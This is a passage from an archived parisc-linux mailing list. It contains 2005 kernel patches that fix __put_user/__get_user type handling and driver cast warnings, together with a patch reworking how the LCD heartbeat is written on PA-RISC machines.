> But if someone knows the response time of the LCD panels, that
> should make it obvious what the right values would be.

The previous "time on" isn't great on real LEDs, either, but it looks
a bit more like a heartbeat.  I'll experiment with this, and see if I
can find a good compromise.

Thanks,
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Mon, 21 Mar 2005 21:25:13 -0500 (EST)
Lines: 332
Approved: news@gmane.org
Message-ID: <200503220225.j2M2PD6E010193@hiauly1.hia.nrc.ca>
References: <20050314132842.GE28289@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623706 13382 80.91.229.3 (22 Nov 2014 02:35:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2005 02:25:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 22 Mar 2005 03:25:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B286C7D627;
	Mon, 21 Mar 2005 19:26:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10461-02; Mon, 21 Mar 2005 19:26:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47AA07D629;
	Mon, 21 Mar 2005 19:26:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3F197D656
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 19:26:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10134-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 19:26:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 355F37D654
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 19:26:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2M2PEhF010194; Mon, 21 Mar 2005 21:25:14 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2M2PD6E010193;
	Mon, 21 Mar 2005 21:25:13 -0500 (EST)
In-Reply-To: <20050314132842.GE28289@tausq.org> from "Randolph Chung" at Mar
	14, 2005 05:28:42 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eOdNYuY3eSE5+76WZHQhaXN2IGRvb4A6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22466

> For now I've commited a combination of:
> 1) Change the FIONREAD handling code to explicitly return a 4-byte value
> 2) Change the put_user code to cast the result to the expected type

I got a bit paranoid about __put_user after the above bug.  Looking at
it, I believe that the LP64 version is broken for *(ptr) types of long,
unsigned long, and pointer types.  I believe that the current code
puts a 64-bit value instead of the 32-bit value that the 32-bit runtime
expects for these types.  This is fixed by adding a layer over the
old __put_user macro to do various type checking.

The above change also introduced some new warnings when building a
32-bit kernel.  These occur when the *(ptr) type is a pointer (e.g.,
void *).  The u64 cast in the size = 8 code is undefined, although
the code is actually used.  The current code is also questionable
when x is a pointer type and *(ptr) is a 64-bit type.  This is probably
an unlikely combination.  I believe that these issues are fixed by
the __put_user_cast macro.

The rest of the changes are just warning fixes that I noticed during
testing.  I don't believe that they have a functional effect.

I tested this with 32 and 64-bit builds of 2.6.12-rc1-pa1 with the
default c3000 and 64 configs.  I am running the 32-bit build and a
slighter earlier version survived a gcc build.  I haven't run the
64-bit changes.  I now don't see any cast related errors in the builds
except one in a call to atomic_read.  That's an unrelated problem.

Install if you like.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

? include/asm-parisc/uaccess.h.save
Index: drivers/net/lasi_82596.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/net/lasi_82596.c,v
retrieving revision 1.15
diff -u -p -u -3 -p -r1.15 lasi_82596.c
--- drivers/net/lasi_82596.c	29 Nov 2004 19:56:12 -0000	1.15
+++ drivers/net/lasi_82596.c	22 Mar 2005 01:55:27 -0000
@@ -640,7 +640,7 @@ static int init_i596_mem(struct net_devi
 		       (void*)(dev->base_addr + PA_I82596_RESET),
 		       dev->irq));
 	
-	gsc_writel(0, (void*)(dev->base_addr + PA_I82596_RESET)); /* Hard Reset */
+	gsc_writel(0, (unsigned long)(dev->base_addr + PA_I82596_RESET)); /* Hard Reset */
 	udelay(100);			/* Wait 100us - seems to help */
 
 	/* change the scp address */
Index: drivers/parisc/ccio-dma.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/ccio-dma.c,v
retrieving revision 1.18
diff -u -p -u -3 -p -r1.18 ccio-dma.c
--- drivers/parisc/ccio-dma.c	6 Mar 2005 23:48:39 -0000	1.18
+++ drivers/parisc/ccio-dma.c	22 Mar 2005 01:55:27 -0000
@@ -101,7 +101,7 @@
 #endif
 
 #define CCIO_INLINE	/* inline */
-#define WRITE_U32(value, addr) gsc_writel(value, (u32 *)(addr))
+#define WRITE_U32(value, addr) gsc_writel(value, (unsigned long)(addr))
 #define READ_U32(addr) gsc_readl((u32 *)(addr))
 
 #define U2_IOA_RUNWAY 0x580
@@ -1391,12 +1391,13 @@ ccio_ioc_init(struct ioc *ioc)
 static void
 ccio_init_resource(struct resource *res, char *name, unsigned long ioaddr)
 {
+	void *addr = (void *) ioaddr;
 	int result;
 
 	res->parent = NULL;
 	res->flags = IORESOURCE_MEM;
-	res->start = (unsigned long)(signed) __raw_readl(ioaddr) << 16;
-	res->end = (unsigned long)(signed) (__raw_readl(ioaddr + 4) << 16) - 1;
+	res->start = (unsigned long)(signed) __raw_readl(addr) << 16;
+	res->end = (unsigned long)(signed) (__raw_readl(addr + 4) << 16) - 1;
 	res->name = name;
 	if (res->end + 1 == res->start)
 		return;
@@ -1486,15 +1487,15 @@ int ccio_allocate_resource(const struct 
 
 	if (!expand_ioc_area(parent, size, min, max, align)) {
 		__raw_writel(((parent->start)>>16) | 0xffff0000,
-			     (unsigned long)&(ioc->ioc_hpa->io_io_low));
+			     (void *)&(ioc->ioc_hpa->io_io_low));
 		__raw_writel(((parent->end)>>16) | 0xffff0000,
-			     (unsigned long)&(ioc->ioc_hpa->io_io_high));
+			     (void *)&(ioc->ioc_hpa->io_io_high));
 	} else if (!expand_ioc_area(parent + 1, size, min, max, align)) {
 		parent++;
 		__raw_writel(((parent->start)>>16) | 0xffff0000,
-			     (unsigned long)&(ioc->ioc_hpa->io_io_low_hv));
+			     (void *)&(ioc->ioc_hpa->io_io_low_hv));
 		__raw_writel(((parent->end)>>16) | 0xffff0000,
-			     (unsigned long)&(ioc->ioc_hpa->io_io_high_hv));
+			     (void *)&(ioc->ioc_hpa->io_io_high_hv));
 	} else {
 		return -EBUSY;
 	}
Index: drivers/parisc/hppb.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/hppb.c,v
retrieving revision 1.5
diff -u -p -u -3 -p -r1.5 hppb.c
--- drivers/parisc/hppb.c	2 Mar 2005 06:47:37 -0000	1.5
+++ drivers/parisc/hppb.c	22 Mar 2005 01:55:27 -0000
@@ -74,8 +74,8 @@ static int hppb_probe(struct parisc_devi
 	card->mmio_region.name = "HP-PB Bus";
 	card->mmio_region.flags = IORESOURCE_MEM;
 
-	card->mmio_region.start = __raw_readl(dev->hpa + IO_IO_LOW);
-	card->mmio_region.end = __raw_readl(dev->hpa + IO_IO_HIGH) - 1;
+	card->mmio_region.start = __raw_readl((void *)(dev->hpa + IO_IO_LOW));
+	card->mmio_region.end = __raw_readl((void *)(dev->hpa + IO_IO_HIGH)) - 1;
 
 	status = ccio_request_resource(dev, &card->mmio_region);
 	if(status < 0) {
Index: drivers/scsi/lasi700.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/lasi700.c,v
retrieving revision 1.12
diff -u -p -u -3 -p -r1.12 lasi700.c
--- drivers/scsi/lasi700.c	15 Mar 2005 12:40:22 -0000	1.12
+++ drivers/scsi/lasi700.c	22 Mar 2005 01:55:27 -0000
@@ -112,7 +112,7 @@ lasi700_probe(struct parisc_device *dev)
 
 	hostdata->dev = &dev->dev;
 	dma_set_mask(&dev->dev, DMA_32BIT_MASK);
-	hostdata->base = ioremap(base, 0x100);
+	hostdata->base = (unsigned long) ioremap(base, 0x100);
 	hostdata->differential = 0;
 
 	if (dev->id.sversion == LASI_700_SVERSION) {
@@ -138,7 +138,7 @@ lasi700_probe(struct parisc_device *dev)
 	return 0;
 
  out_kfree:
-	iounmap(hostdata->base);
+	iounmap((void *)hostdata->base);
 	kfree(hostdata);
 	return -ENODEV;
 }
@@ -153,7 +153,7 @@ lasi700_driver_remove(struct parisc_devi
 	scsi_remove_host(host);
 	NCR_700_release(host);
 	free_irq(host->irq, host);
-	iounmap(hostdata->base);
+	iounmap((void *)hostdata->base);
 	kfree(hostdata);
 
 	return 0;
Index: drivers/video/stifb.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/video/stifb.c,v
retrieving revision 1.15
diff -u -p -u -3 -p -r1.15 stifb.c
--- drivers/video/stifb.c	29 Nov 2004 20:42:47 -0000	1.15
+++ drivers/video/stifb.c	22 Mar 2005 01:55:27 -0000
@@ -517,7 +517,7 @@ rattlerSetupPlanes(struct stifb_info *fb
 	SETUP_HW(fb);
 	WRITE_BYTE(1, fb, REG_16b1);
 
-	fb_memset(fb->info.fix.smem_start, 0xff,
+	fb_memset((void *)fb->info.fix.smem_start, 0xff,
 		fb->info.var.yres*fb->info.fix.line_length);
     
 	CRX24_SET_OVLY_MASK(fb);
@@ -977,7 +977,7 @@ stifb_write(struct file *file, const cha
 	    err = -EFAULT;
 	    if (copy_from_user(&tmpbuf, buf, len))
 		    break;
-	    memcpy_toio(p, &tmpbuf, len);
+	    memcpy_toio((void *)p, &tmpbuf, len);
 	    c -= len;
 	    p += len;
 	    buf += len;
Index: include/asm-parisc/uaccess.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/uaccess.h,v
retrieving revision 1.20
diff -u -p -u -3 -p -r1.20 uaccess.h
--- include/asm-parisc/uaccess.h	18 Mar 2005 13:17:43 -0000	1.20
+++ include/asm-parisc/uaccess.h	22 Mar 2005 01:55:28 -0000
@@ -80,7 +80,20 @@ struct exception_data {
 	unsigned long fault_addr;
 };
 
-#define __get_user(x,ptr)                               \
+#ifdef __LP64__
+#define __get_user(x,ptr)						\
+  __builtin_choose_expr(						\
+    sizeof(__typeof__(*(ptr))) < 8					\
+    || __builtin_types_compatible_p(s64, __typeof__(*(ptr)))		\
+    || __builtin_types_compatible_p(u64, __typeof__(*(ptr)))		\
+    || __builtin_types_compatible_p(double, __typeof__(*(ptr))),	\
+    __get_user_compat(x, ptr),						\
+    __get_user_compat(x, (u32 *)(unsigned long)(ptr)))
+#else
+#define __get_user __get_user_compat
+#endif
+
+#define __get_user_compat(x,ptr)                        \
 ({                                                      \
 	register long __gu_err __asm__ ("r8") = 0;      \
 	register long __gu_val __asm__ ("r9") = 0;      \
@@ -104,7 +117,7 @@ struct exception_data {
 	    }                                           \
 	}                                               \
 							\
-	(x) = (__typeof__(*(ptr))) __gu_val;            \
+	(x) = (__typeof__(x))__gu_val;			\
 	__gu_err;                                       \
 })
 
@@ -146,26 +159,66 @@ struct exception_data {
 		: "r1");
 #endif /* !__LP64__ */
 
-#define __put_user(x,ptr)                                       \
+#ifdef __LP64__
+#define __put_user(x,ptr)						\
+  __builtin_choose_expr(						\
+    sizeof(__typeof__(*(ptr))) != 8					\
+    || __builtin_types_compatible_p(s64, __typeof__(*(ptr)))		\
+    || __builtin_types_compatible_p(u64, __typeof__(*(ptr)))		\
+    || __builtin_types_compatible_p(double, __typeof__(*(ptr))),	\
+    __put_user_compat((u64)(x), ptr),					\
+    __put_user_compat((u64)(x), (u32 *)(unsigned long)(ptr)))
+#else
+/* It is necessary to cast X to a suitable type for __put_user_compat.
+   64-bit values need truncation when PTR points to a smaller object.
+   It is also difficult to handle pointer types without generating
+   warnings from the u64 cast in the code for size 8.  The (void)0
+   choice generates a compile error if an unhandled type combination
+   is encountered.  */
+#define __put_user_cast(x,ptr)						\
+  __builtin_choose_expr(						\
+    (sizeof(__typeof__(x)) == 1						\
+     || sizeof(__typeof__(x)) == 2					\
+     || sizeof(__typeof__(x)) == 4					\
+     || sizeof(__typeof__(x)) == 8)					\
+    && (sizeof(__typeof__(*(ptr))) == 1					\
+	|| sizeof(__typeof__(*(ptr))) == 2				\
+	|| sizeof(__typeof__(*(ptr))) == 4),				\
+    (u32)(x),								\
+    __builtin_choose_expr(						\
+      (sizeof(__typeof__(x)) == 1					\
+       || sizeof(__typeof__(x)) == 2					\
+       || sizeof(__typeof__(x)) == 4)					\
+      && sizeof(__typeof__(*(ptr))) == 8,				\
+      (u64)(u32)(x),							\
+      __builtin_choose_expr(						\
+	sizeof(__typeof__(x)) == 8					\
+	&& sizeof(__typeof__(*(ptr))) == 8,				\
+	(x),								\
+	(void)0)))
+
+#define __put_user(x,ptr) __put_user_compat(__put_user_cast(x, ptr), ptr)
+#endif
+
+#define __put_user_compat(x,ptr)                                \
 ({								\
 	register long __pu_err __asm__ ("r8") = 0;      	\
-        __typeof__(*(ptr)) __x = (__typeof__(*(ptr)))(x);	\
 								\
 	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
 	    switch (sizeof(*(ptr))) {                           \
-	    case 1: __put_kernel_asm("stb",__x,ptr); break;     \
-	    case 2: __put_kernel_asm("sth",__x,ptr); break;     \
-	    case 4: __put_kernel_asm("stw",__x,ptr); break;     \
-	    case 8: STD_KERNEL(__x,ptr); break;			\
+	    case 1: __put_kernel_asm("stb",x,ptr); break;       \
+	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
+	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
+	    case 8: STD_KERNEL(x,ptr); break;			\
 	    default: __put_kernel_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 	else {                                                  \
 	    switch (sizeof(*(ptr))) {                           \
-	    case 1: __put_user_asm("stb",__x,ptr); break;       \
-	    case 2: __put_user_asm("sth",__x,ptr); break;       \
-	    case 4: __put_user_asm("stw",__x,ptr); break;       \
-	    case 8: STD_USER(__x,ptr); break;			\
+	    case 1: __put_user_asm("stb",x,ptr); break;         \
+	    case 2: __put_user_asm("sth",x,ptr); break;         \
+	    case 4: __put_user_asm("stw",x,ptr); break;         \
+	    case 8: STD_USER(x,ptr); break;			\
 	    default: __put_user_bad(); break;			\
 	    }                                                   \
 	}                                                       \
@@ -219,10 +272,10 @@ struct exception_data {
 		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
 		: "r1")
 
-#define __put_kernel_asm64(__val,ptr) do {		    	    \
-	u64 __val64 = (u64)(__val);				    \
-	u32 hi = (__val64) >> 32;					    \
-	u32 lo = (__val64) & 0xffffffff;				    \
+#define __put_kernel_asm64(__val,ptr) do {	    	    \
+	u64 __val64 = (u64)__val;			    \
+	u32 hi = (__val64) >> 32;			    \
+	u32 lo = (__val64) & 0xffffffff;		    \
 	__asm__ __volatile__ (				    \
 		"\n1:\tstw %2,0(%1)\n"			    \
 		"\n2:\tstw %3,4(%1)\n"			    \
@@ -235,10 +288,10 @@ struct exception_data {
 		: "r1");				    \
 } while (0)
 
-#define __put_user_asm64(__val,ptr) do {		    	    \
-	u64 __val64 = (u64)__val;				    \
-	u32 hi = (__val64) >> 32;					    \
-	u32 lo = (__val64) & 0xffffffff;				    \
+#define __put_user_asm64(__val,ptr) do {	    	    \
+	u64 __val64 = (u64)__val;			    \
+	u32 hi = (__val64) >> 32;			    \
+	u32 lo = (__val64) & 0xffffffff;		    \
 	__asm__ __volatile__ (				    \
 		"\n1:\tstw %2,0(%%sr3,%1)\n"		    \
 		"\n2:\tstw %3,4(%%sr3,%1)\n"		    \
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: J5000 LCD heartbeat
Date: Mon, 21 Mar 2005 23:29:30 -0700
Lines: 243
Approved: news@gmane.org
Message-ID: <20050322062930.GC1924@colo.lackof.org>
References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<20050320210357.53534d01@Tatooine.r3z0>
	<200503202257.31924.dmp@davidmpye.dyndns.org>
	<200503202317.05481.dmp@davidmpye.dyndns.org>
	<20050321045506.GA18458@ntlworld.com>
	<20050321071945.GA10108@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623706 13386 80.91.229.3 (22 Nov 2014 02:35:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2005 06:28:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 22 Mar 2005 07:28:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 142017D664;
	Mon, 21 Mar 2005 23:29:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11045-04; Mon, 21 Mar 2005 23:29:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10E037D656;
	Mon, 21 Mar 2005 23:29:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D4A17D653
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 23:29:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11045-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 23:29:20 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C57FF7D64D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 23:29:19 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1DCA029803F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 23:29:31 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03664-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 23:29:30 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 988F8298011; Mon, 21 Mar 2005 23:29:30 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050321071945.GA10108@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VN5NYl5weSE5+76WZHQhaXN2IGRvbwCH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22467

On Mon, Mar 21, 2005 at 12:19:45AM -0700, Grant Grundler wrote:
> Hrm...for LCD, can we program all 4 independently?

ok...I'm having fun with this!

Here's another take that I *think* does it right.
LCD blinks nicely at least :^)

Stuart, how does this look to you?

(ignore the _LEN/_START values...make them whatever you want)

thanks,
grant



Index: drivers/parisc/led.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/led.c,v
retrieving revision 1.12
diff -u -p -r1.12 led.c
--- drivers/parisc/led.c	18 Mar 2005 13:17:10 -0000	1.12
+++ drivers/parisc/led.c	22 Mar 2005 06:20:59 -0000
@@ -117,7 +117,9 @@ lcd_info __attribute__((aligned(8))) =
 
 
 /* ptr to LCD/LED-specific function */
-static void (*led_func_ptr) (unsigned char);
+static unsigned int (*led_func_ptr) (unsigned char);
+static unsigned int led_func_pending; /* more work? */
+static unsigned char led_func_last;	/* previous LED setting */
 
 #define LED_HASLCD 1
 #define LED_NOLCD  0
@@ -255,7 +257,7 @@ static int __init led_create_procfs(void
  */
 #define	LED_DATA	0x01	/* data to shift (0:on 1:off) */
 #define	LED_STROBE	0x02	/* strobe to clock data */
-static void led_ASP_driver(unsigned char leds)
+static unsigned int led_ASP_driver(unsigned char leds)
 {
 	int i;
 
@@ -267,6 +269,7 @@ static void led_ASP_driver(unsigned char
 		gsc_writeb( value | LED_STROBE,	 LED_DATA_REG );
 		leds <<= 1;
 	}
+	return 0;
 }
 
 
@@ -275,10 +278,11 @@ static void led_ASP_driver(unsigned char
    ** led_LASI_driver()
    ** 
  */
-static void led_LASI_driver(unsigned char leds)
+static unsigned int led_LASI_driver(unsigned char leds)
 {
 	leds = ~leds;
 	gsc_writeb( leds, LED_DATA_REG );
+	return 0;
 }
 
 
@@ -294,44 +298,75 @@ static void led_LASI_driver(unsigned cha
    ** TODO: check the value of "min_cmd_delay" against the value of HZ.
    **   
  */
-static void led_LCD_driver(unsigned char leds)
+static unsigned int led_LCD_driver(unsigned char leds)
 {
-	static int last_index;	/* 0:heartbeat, 1:disk, 2:lan_in, 3:lan_out */
-	static int last_was_cmd;/* 0: CMD was written last, 1: DATA was last */
-	struct lcd_block *block_ptr;
-	int value;
-
-	switch (last_index) {
-	    case 0:	block_ptr = &lcd_info.heartbeat;
-			value = leds & LED_HEARTBEAT;
-			break;
-	    case 1:	block_ptr = &lcd_info.disk_io;
-			value = leds & LED_DISK_IO;
-			break;					
-	    case 2:	block_ptr = &lcd_info.lan_rcv;
-			value = leds & LED_LAN_RCV;
-			break;					
-	    case 3:	block_ptr = &lcd_info.lan_tx;
-			value = leds & LED_LAN_TX;
-			break;
-	    default:	/* should never happen: */
-			return;
-	}
-
-	if (last_was_cmd) {
-	    /* write the value to the LCD data port */
-    	    gsc_writeb( value ? block_ptr->on : block_ptr->off, LCD_DATA_REG );
+#define LCD_BUFF_SIZE 16
+	static unsigned int data_tail, data_head;
+	static unsigned char data[LCD_BUFF_SIZE];
+	static unsigned char write_data;	/* flip-flop for cmd/data */
+
+	static unsigned char mask[4] = { LED_HEARTBEAT, LED_DISK_IO,
+						LED_LAN_RCV, LED_LAN_TX };
+	static struct lcd_block * blockp[4] = {
+		&lcd_info.heartbeat,
+		&lcd_info.disk_io,
+		&lcd_info.lan_rcv,
+		&lcd_info.lan_tx
+	};
+
+
+
+	if (led_func_pending) {
+		if (write_data) {
+			gsc_writeb( data[data_tail++], LCD_DATA_REG );
+			write_data=0;	/* do command next time */
+		} else {
+			gsc_writeb( data[data_tail++], LCD_CMD_REG );
+			write_data=1;	/* do data next time */
+		}
+		data_tail &= (LCD_BUFF_SIZE - 1);
+
+		/* avoid data[] overfull by not checking for updates
+		 * until after we've worked off pending updates.
+		 */
 	} else {
-	    /* write the command-byte to the LCD command register */
-    	    gsc_writeb( block_ptr->command, LCD_CMD_REG );
-	}    
-	
-	/* now update the vars for the next interrupt iteration */ 
-	if (++last_was_cmd == 2) { /* switch between cmd & data */
-	    last_was_cmd = 0;
-	    if (++last_index == 4) 
-		last_index = 0;	 /* switch back to heartbeat index */
+		unsigned int i;
+		unsigned char ledlast = led_func_last;
+		
+		/* update data and queue writes */
+		for (i = 0; i < 4; i++) {
+			/* check if this "LED" changed since last time */
+			if ((leds ^ ledlast) & mask[i]) {
+				ledlast ^= mask[i];
+
+				/* queue cmd/data pair */
+				data[data_head++] = blockp[i]->command;
+
+				/* Always write pairs and buffer is even size.
+				 * data_head &= (LCD_BUFF_SIZE - 1);
+				 */
+
+				data[data_head++] = (leds & mask[i]) ?
+						blockp[i]->on :
+						blockp[i]->off;
+				data_head &= (LCD_BUFF_SIZE - 1);
+			}
+		}
+
+		led_func_last = ledlast;
+
+		if (data_tail != data_head) {
+			/* start update by writing the cmd byte */
+		    	gsc_writeb(data[data_tail++], LCD_CMD_REG);
+
+			/* don't need to mask data_tail since buffer is
+			 * even sized and this is the first byte of a pair
+			 * 	data_tail &= (LCD_BUFF_SIZE - 1);
+			 */
+			write_data=1;
+		}
 	}
+	return (data_tail != data_head);
 }
 
 
@@ -427,15 +462,14 @@ static __inline__ int led_get_diskio_act
     - optimizations
  */
 
-#define HEARTBEAT_LEN (HZ*6/100)
-#define HEARTBEAT_2ND_RANGE_START (HZ*22/100)
+#define HEARTBEAT_LEN (HZ*12/100)
+#define HEARTBEAT_2ND_RANGE_START (HZ*36/100)
 #define HEARTBEAT_2ND_RANGE_END   (HEARTBEAT_2ND_RANGE_START + HEARTBEAT_LEN)
 
 #define NORMALIZED_COUNT(count) (count/(HZ/100))
 
 static void led_tasklet_func(unsigned long unused)
 {
-	static unsigned char lastleds;
 	unsigned char currentleds; /* stores current value of the LEDs */
 	static unsigned long count; /* static incremented value, not wrapped */
